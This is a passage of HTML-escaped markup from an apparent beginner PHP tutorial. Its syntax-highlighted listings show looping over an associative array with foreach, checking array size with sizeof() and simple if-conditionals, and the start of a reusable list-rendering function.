&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The function &lt;code&gt;array_keys()&lt;/code&gt; gives you back all the keys of an array as an array itself. This way, we can display the keys and the values at the same time.&lt;br /&gt;
A shorter way to achieve the same principle, and which works with both arrays and objects, is to &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=6&quot;&gt;use the &lt;code&gt;foreach()&lt;/code&gt; loop construct&lt;/a&gt;:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_195975&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;br /&gt;
&lt;ul&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;array&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Operating System&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Linux&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Server&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Apache&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Database&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;MySQL&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Language&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;PHP&#39;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;foreach&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;( &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt; &lt;code class=&quot;keyword&quot;&gt;as&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$key&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$stackelm&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$key&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;:&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$stackelm&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This is the shortest way to display a complex construct. But it will fail when &lt;code&gt;$lampstack&lt;/code&gt; is not an array. So, checking for &lt;code&gt;sizeof()&lt;/code&gt; is still a good plan. You can do this with a conditional.&lt;br /&gt;
&lt;h3&gt;Using Conditionals&lt;/h3&gt;Conditionals are “if” statements, both in the English language and in  almost any programming language I know. So, to test whether an array is  safe to loop over, we could &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=7&quot;&gt;use the &lt;code&gt;sizeof()&lt;/code&gt; test&lt;/a&gt;:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_114949&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;br /&gt;
&lt;ul&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;array&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Operating System&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Linux&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Server&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Apache&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Database&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;MySQL&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Language&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;PHP&#39;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;( sizeof(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;) &amp;gt; 0 ){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;foreach&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;( &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$lampstack&lt;/code&gt; &lt;code class=&quot;keyword&quot;&gt;as&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$key&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$stackelm&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$key&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;:&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$stackelm&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Common conditionals are:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;code&gt;if($x &amp;gt; 10 and $x &amp;lt; 20)&lt;/code&gt;&lt;br /&gt;
Is &lt;code&gt;$x&lt;/code&gt; bigger than 10 and less than 20?&lt;/li&gt;
&lt;li&gt;&lt;code&gt;if(isset($name))&lt;/code&gt;&lt;br /&gt;
Has the variable &lt;code&gt;$name&lt;/code&gt; been defined?&lt;/li&gt;
&lt;li&gt;&lt;code&gt;if($name == &#39;Chris&#39;)&lt;/code&gt;&lt;br /&gt;
Does the variable &lt;code&gt;$name&lt;/code&gt; have the value of &quot;Chris&quot;?&lt;/li&gt;
&lt;li&gt;&lt;code&gt;if($name == &#39;Chris&#39; or $name == &#39;Vitaly&#39;)&lt;/code&gt;&lt;br /&gt;
Does the variable &lt;code&gt;$name&lt;/code&gt; have the value of &quot;Chris&quot; or &quot;Vitaly&quot;?&lt;/li&gt;
&lt;/ul&gt;Cool, but what if we want to make this reusable?&lt;br /&gt;
&lt;h3&gt;Functions In PHP&lt;/h3&gt;To make a task even more generic, we can write a &lt;code&gt;function&lt;/code&gt;. In this case, we put &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=8&quot;&gt;the loop and the testing in a function and simply call it with different arrays&lt;/a&gt;:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_915494&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;renderList(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$array&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;( sizeof(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$array&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;) &amp;gt; 0 ){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;ul&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;foreach&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;( &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$array&lt;/code&gt; &lt;code class=&quot;keyword&quot;&gt;as&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$key&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$item&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$key&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;:&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$item&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
